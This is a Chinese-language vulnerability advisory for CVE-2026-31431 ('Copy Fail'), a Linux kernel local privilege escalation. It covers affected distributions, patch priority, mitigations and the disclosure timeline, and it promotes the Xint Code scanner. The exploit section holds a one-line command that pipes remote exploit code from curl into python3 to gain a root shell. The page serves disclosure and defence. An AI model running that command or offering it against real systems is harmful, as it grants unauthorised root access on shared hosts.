Copy Fail漏洞(CVE-2026-31431)威胁主流Linux发行版,附利用代码与缓解措施

Copy Fail漏洞概述

Copy Fail指一个虚线圆圈标记复制预期落点,一个实心圆盘从圆圈中向右下方以三个逐渐偏移的条带落下,意味着复制未命中目标。CVE-2026-31431自2017年以来,是适用于所有发行版的容器逃逸原语,100%可靠,由Xint Code发现,代码仅732字节。

Copy Fail特性

多数Linux本地权限提升(LPE)漏洞需要竞争窗口或特定内核偏移量,而Copy Fail是“直线逻辑缺陷”,两者都不需要。只需同一个732字节的Python脚本,就能让自2017年以来发布的所有Linux发行版获得root权限。`authencesn`中的逻辑错误,通过`AF_ALG`和`splice()`连锁反应,导致一个4字节的页面缓存写入问题,近十年来一直可被悄悄利用。想获取漏洞利用代码,可[阅读详细报告](https://xint.io/blog/copy-fail-linux-distributions)。

演示

同一个脚本在四个发行版上运行,能一次性获得四个root shell。同一个漏洞利用二进制文件无需修改,就能在所有Linux发行版上运行。tmux —— Copy Fail演示(实时演示)同一个732字节的漏洞利用程序在Ubuntu、Amazon Linux、RHEL和SUSE上同时运行并获取root权限。概念验证(PoC)代码 | [`sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9`](https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py) | 首次由 [这条推文 ↗](https://x.com/brian_pak/status/2036173171280486422) 披露

受影响对象

若内核是在2017年到补丁发布期间构建的(基本上涵盖了所有主流Linux发行版),那么就处于受影响范围内。Copy Fail只需要一个普通的本地用户账户,无需网络访问权限,无需内核调试功能,也无需预先安装的原语。基本上所有主流发行版的默认配置中都启用了内核加密API(`AF_ALG`),因此从2017年到补丁发布期间的所有系统都存在此风险。我们直接验证过的发行版:

发行版内核
Ubuntu 24.04 LTS`6.17.0-1007-aws`
Amazon Linux 2023`6.18.8-9.213.amzn2023`
RHEL 14.3`6.12.0-124.45.1.el10_1`
SUSE 16`6.12.0-160000.9-default`
这些是我们直接测试过的发行版。其他运行受影响内核的发行版(如 Debian、Arch、Fedora、Rocky、Alma、Oracle以及嵌入式系统)也会受到同样影响。如果你在其他地方进行了测试,请 [提交一个问题](https://github.com/theori-io/copy-fail-CVE-2026-31431),将其添加到列表中。

是否应优先打补丁

多租户Linux主机:像共享开发环境、Shell即服务、跳板主机、构建服务器等多个用户共享一个内核的场景,风险等级高,任何用户都可能成为root用户。Kubernetes / 容器集群:页面缓存在主机上是共享的。一个具备适当原语的Pod可以攻破节点并跨越租户边界,风险等级高,影响跨容器、跨租户。CI运行器和构建农场:GitHub Actions自托管运行器、GitLab运行器、Jenkins代理等在共享内核上以普通用户身份执行不可信PR代码的场景,风险等级高,PR代码可以在运行器上获得root权限。运行用户代码的云SaaS:笔记本主机、代理沙箱、无服务器函数等租户提供的容器或脚本,风险等级高,租户可以成为主机的root用户。标准Linux服务器:单租户生产环境,只有团队可以访问Shell,风险等级中,影响内部LPE;可与Web RCE或被盗凭证结合使用。单用户笔记本电脑和工作站:用户是唯一的,该漏洞本身不会为远程攻击者提供访问权限,但任何本地代码执行都可以获得root权限,风险等级低,影响后利用阶段提升权限。

漏洞利用

概念验证(PoC)代码已发布,以便安全人员验证自己的系统并验证供应商补丁的有效性。请负责任地使用,仅在拥有或获得书面授权的系统上运行。该脚本会编辑setuid二进制文件的页面缓存,更改在重启后不会保留,但获得的root shell是真实有效的。请勿在生产环境中运行。`copy_fail_exp.py` 732字节,独立的PoC,仅使用Python 3.10+标准库(`os`、`socket`、`zlib`)。默认目标是 `/usr/bin/su`,也可以通过 `argv[1]` 指定其他setuid二进制文件。sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9 [下载(GitHub)](https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py) 快速运行:

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)
问题跟踪:

缓解措施

优先打补丁,将发行版内核包更新到包含主线提交 `a664bf3d603d` 的版本,该提交撤销了2017年 `algif_aead` 的原地优化,使页面缓存页面不再出现在可写的目标散列表中。目前大多数主要发行版都已发布修复补丁。在打补丁之前,可禁用 `algif_aead` 模块。

# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# rmmod algif_aead 2>/dev/null || true
这会影响哪些功能呢?对于绝大多数系统来说,没有明显影响。不受影响的功能:dm-crypt / LUKS、kTLS、IPsec/XFRM、内核内TLS、OpenSSL/GnuTLS/NSS默认构建、SSH、内核密钥环加密。这些功能都直接使用内核加密API,不通过 `AF_ALG`。可能受影响的功能:专门配置为使用 `AF_ALG` 的用户空间程序,例如明确启用 `afalg` 引擎的OpenSSL、一些嵌入式加密卸载路径,或直接绑定 `aead`/`skcipher`/`hash` 套接字的应用程序。如果有疑问,可以使用 `lsof | grep AF_ALG` 或 `ss -xa` 进行检查。性能方面:`AF_ALG` 是用户空间访问内核加密API的接口。禁用它不会减慢原本不调用它的功能;对于原本调用它的功能,性能会回退到普通的用户空间加密库,这也是其他大多数程序的做法。对于不可信的工作负载(容器、沙箱、CI),无论是否打补丁,都应通过seccomp阻止 `AF_ALG` 套接字的创建。

常见问题解答

常见问题解答正在加载…

披露时间线

- 2026-03-23:向Linux内核安全团队报告
- 2026-03-24:首次确认
- 2026-03-25:提出并审查补丁
- 2026-04-01:补丁提交到主线
- 2026-04-22:分配CVE-2026-31431
- 2026-04-29:公开披露( )

Xint Code

Xint Code 你的软件在AI时代安全吗?Copy Fail是 [Xint Code](https://code.xint.io/) 在对Linux `crypto/` 子系统进行约一小时扫描后发现的。完整的根本原因、图表以及发现该漏洞的操作提示都可以在 [Xint 博客文章](https://xint.io/blog/copy-fail-linux-distributions) 中找到。同一次扫描还发现了其他高严重性漏洞,目前仍在进行协调披露。Xint Code以同样的方式审计生产代码库 —— 只需一个操作提示,无需测试框架,就能优先列出发现的问题,并提供触发条件和影响说明。[试用Xint Code →](https://code.xint.io/) [Xint 公共漏洞跟踪器](https://xint.io/public-bug-tracker)

过往成绩

- **0-day RCE**:在ZeroDay Cloud中,对数据库类别(Redis、PostgreSQL、MariaDB)进行全面扫描,无需人工干预。
- **DARPA AIxCC**:在国防部DARPA主办的AI网络挑战赛中进入决赛。
- **DEF CON CTF**:DEF CON CTF历史上获胜次数最多的团队。

联系我们的团队 →
CVE-2026-31431 · Copy Fail
[博客](https://xint.io/blog/copy-fail-linux-distributions) · [Xint Code](https://code.xint.io) · [GitHub](https://github.com/theori-io/copy-fail-CVE-2026-31431)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值